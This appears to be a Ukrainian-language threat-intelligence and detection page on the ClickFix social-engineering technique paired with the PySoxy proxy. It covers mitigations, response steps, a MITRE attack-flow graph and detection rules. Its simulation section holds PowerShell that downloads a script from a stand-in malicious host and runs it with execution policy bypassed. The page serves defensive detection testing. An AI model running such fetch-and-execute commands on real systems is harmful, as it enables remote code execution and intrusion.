ClickFix розвивається з проксіюванням PySoxy
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
ClickFix — це техніка доставки, заснована на соціальній інженерії, яка тепер поєднується з відкритим SOCS5-проксі PySoxy для створення шифрованого вторинного каналу доступу. Вторгнення починається, коли користувач виконує зловмисну команду PowerShell, яка налаштовує збережене задання та запускає сесію управління через PowerShell у пам’яті. Після початкової розвідки зловмисник завантажує та запускає PySoxy, щоб встановити другу шифровану доріжку в середовище. Такий модульний підхід до використання інструментів на основі інтерпретатора ускладнює як виявлення, так і стримування інциденту.
Дослідження
ReliaQuest спостерігав один користувацький запуск команди ClickFix, яка запустила обфусцирований PowerShell-завантажувач, створила заплановане завдання, провела розвідку домену та пізніше завантажила зкомпільований байт-код Python файл з іменем b64.pyc, який виконувався за допомогою python.exe. Компонент PowerShell працював як легкий RAT, опитуючи свій сервер управління і контролю кожні три секунди. Дослідники також побачили, як зловмисник використовує curl для завантаження журналів і отримання корисного навантаження PySoxy з того ж сервера.
Пом’якшення
Оборонці повинні виявляти та блокувати підозрілі запуски PowerShell, що походять з explorer.exe, моніторити заплановані завдання, які виконують приховані команди PowerShell, та шукати виконання Python з аргументами, пов’язаними з проксі, такими як -ssl, -remote_ip, та -remote_port. Команди безпеки також мають перевірити вихідний трафік до визначених доменів та IP-адрес і видалити будь-які збережені скрипти PowerShell або .pyc файли, виявлені в ProgramData.
Відповідь
Якщо знайдено пов’язані індикатори, негайно ізолюйте уражений хост, відключіть обліковий запис користувача, що був зламаний, видаліть зловмисне заплановане завдання, зітріть скрипт PowerShell і артефакти PySoxy, а також проскануйте систему на предмет додаткових залишків. Оборонці також повинні підтвердити, що вихідний трафік до визначеної інфраструктури заблокований, і перевірити, що жодні інші механізми збереження не залишаються активними.
"графік TB %% визначення класів classDef technique заповнити: #cce5ff %% визначення вузлів tech_content_injection["<b>Техніка</b> – <b>T1659 Впровадження вмісту</b><br/><b>Опис</b>: Зловмисники впроваджують зловмисний вміст у легітимні файли або потоки даних для здійснення подальших зловмисних дій."] class tech_content_injection technique tech_user_exec_malicious_link["<b>Техніка</b> – <b>T1204.001 Виконання користувачем: Зловмисне посилання</b><br/><b>Опис</b>: Жертва натискає на створене посилання, яке запускає зловмисний код."] class tech_user_exec_malicious_link technique tech_user_exec_psh_stager["<b>Техніка</b> – <b>T1204 Виконання користувачем (PowerShell стейджер)</b><br/><b>Опис</b>: Користувач запускає команду PowerShell, яка готує додаткові корисні навантаження."] class tech_user_exec_psh_stager technique tech_obf_embedded_payloads["<b>Техніка</b> – <b>T1027.009 Обфусцировані файли або інформація: Вбудовані корисні навантаження</b><br/><b>Опис</b>: Корисні навантаження заховані або зашифровані в інших файлах, щоб уникнути виявлення."] class tech_obf_embedded_payloads technique tech_reflective_loading["<b>Техніка</b> – <b>T1620 Відбиваюче завантаження коду</b><br/><b>Опис</b>: Малварний код безпосередньо завантажується у пам’ять за допомогою відбиваючих технік."] class tech_reflective_loading technique tech_scheduled_task["<b>Техніка</b> – <b>T1053 Заплановане завдання/робота</b><br/><b>Опис</b>: Створюється заплановане завдання або робота для виконання зловмисного коду заради збереження."] class tech_scheduled_task technique tech_user_exec_psh_rat["<b>Техніка</b> – <b>T1204 Виконання користувачем (inu2011memory PowerShell RAT)</b><br/><b>Опис</b>: Користувач ненавмисно запускає inu2011memory PowerShell заснований інструмент віддаленого доступу."] class tech_user_exec_psh_rat technique tech_permission_groups["<b>Техніка</b> – <b>T1069 Виявлення груп дозволів</b><br/><b>Опис</b>: Зловмисник перераховує групи дозволів та членства в системі."] class tech_permission_groups technique tech_lateral_tool_transfer["<b>Техніка</b> – <b>T1570 Латеральне перенесення інструментів</b><br/><b>Опис</b>: Інструменти або файли передаються латерально на інший хост, напр., через завантаження curl."] class tech_lateral_tool_transfer technique tech_multistage_channels["<b>Техніка</b> – <b>T1104 Багатоступеневі канали</b><br/><b>Опис</b>: Додатковий канал зв’язку встановлюється для завантаження подальших корисних навантажень, таких як PySoxy."] class tech_multistage_channels technique tech_proxy["<b>Техніка</b> – <b>T1090 Проксі</b><br/><b>Опис</b>: Трафік передається через проксі-сервер для приховування походження."] class tech_proxy technique tech_proxy_external["<b>Техніка</b> – <b>T1090.002 Проксі: Зовнішній проксі</b><br/><b>Опис</b>: Використовується зовнішній проксі-сервіс для подальшого приховування трафіку управління і контролю."] class tech_proxy_external technique tech_exfil_alt_proto["<b>Техніка</b> – <b>T1048 Виведення даних за допомогою альтернативного протоколу</b><br/><b>Опис</b>: Дані виводяться за допомогою протоколу, зазвичай не пов’язаного з передачею даних."] class tech_exfil_alt_proto technique %% Зв’язки, що показують хід атаки tech_content_injection –>|призводить до| tech_user_exec_malicious_link tech_user_exec_malicious_link –>|призводить до| tech_user_exec_psh_stager tech_user_exec_psh_stager –>|призводить до| tech_obf_embedded_payloads tech_obf_embedded_payloads –>|призводить до| tech_reflective_loading tech_user_exec_psh_stager –>|вмикає| tech_scheduled_task tech_scheduled_task –>|призводить до| tech_user_exec_psh_rat tech_user_exec_psh_rat –>|призводить до| tech_permission_groups tech_permission_groups –>|призводить до| tech_lateral_tool_transfer tech_lateral_tool_transfer –>|призводить до| tech_multistage_channels tech_multistage_channels –>|призводить до| tech_proxy tech_proxy –>|призводить до| tech_proxy_external tech_proxy_external –>|призводить до| tech_exfil_alt_proto "
Хід атаки
Виявлення
Можлива ідентифікація / маніпуляція облікових записів або груп (через командний рядок)
Переглянути
Виявлення підозрілих довірчих відносин доменів (через командний рядок)
Переглянути
Підозріле використання CURL (через командний рядок)
Переглянути
Підозрілі рядки Powershell (через powershell)
Переглянути
Підозріле заплановане завдання (через аудит)
Переглянути
IOCs (SourceIP) для виявлення: ClickFix розвивається з проксі PySoxy
Переглянути
IOCs (DestinationIP) для виявлення: ClickFix розвивається з проксі PySoxy
Переглянути
Виявлення активності PySoxy і ClickFix з підозрілими вихідними з’єднаннями [Windows Network Connection]
Переглянути
Виявлення активності ClickFix PowerShell C2 [Windows Powershell]
Переглянути
Кампанія ClickFix – Explorer запускає обфусцирований PowerShell [Windows Process Creation]
Переглянути
Виконання моделювання
Передумова: Перевірка телеметрії та базової лінії до польоту має бути пройдена.
Розуміння: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTPs та мати на меті генерувати точну телеметрію, очікувану логікою виявлення.
-
Опис атаки та команди:
- Мета: Встановити канал управління і контролю на основі PowerShell (ClickFix), який завантажує зловмисне навантаження з віддаленого сервера та виконує його непомітно.
- Метод: Зловмисник запускає
powershell.exeз точним прапором, який моніторить правило (-NoProfileand-ExecutionPolicy Bypass) та використовуєInvoke-WebRequestдля отримання навантаження. - Чому цей метод: Використовуючи нативний Windows PowerShell та загальний
Invoke-WebRequestcmdlet, суперник уникає завантаження сторонніх інструментів, зменшуючи ймовірність виявлення антивірусом, дотримуючись відомої поведінки ClickFix, зафіксованої в правилі.
# Крок 1: Завантажте зловмисний скрипт (симулюється як доброзичливий тестовий файл) $url = "http://malicious.example.com/payload.ps1" $out = "$env:TEMPpayload.ps1" Invoke-WebRequest -Uri $url -OutFile $out # Крок 2: Виконайте завантажений скрипт, використовуючи ті ж параметри запуску, які моніторить правило powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out -
Скрипт регресійного тестування:
# ============================================== # Симуляція ClickFix PowerShell C2 (TC-20260514-3G7ZK) # ============================================== # Визначення змінних $url = "http://malicious.example.com/payload.ps1" $out = "$env:TEMPpayload.ps1" # 1. Завантажте фіктивний корисний вантаж (діє як отримання C2) Write-Host "[*] Завантаження корисного навантаження..." try { Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing } catch { Write-Error "Download failed: $_" exit 1 } # 2. Виконайте корисне навантаження з точними прапорами, які моніторить правило Write-Host "[*] Виконання корисного навантаження з -NoProfile -ExecutionPolicy Bypass" powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out Write-Host "[+] Симуляція завершена." # ============================================== -
Команди очищення:
# Видаліть тимчасовий файл корисного навантаження if (Test-Path $out) { Remove-Item -Path $out -Force Write-Host "[*] Файл корисного навантаження видалено." } # За потреби зупиніть будь-які залишкові процеси PowerShell, запущені тестом Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force Write-Host "[*] Очищення завершено."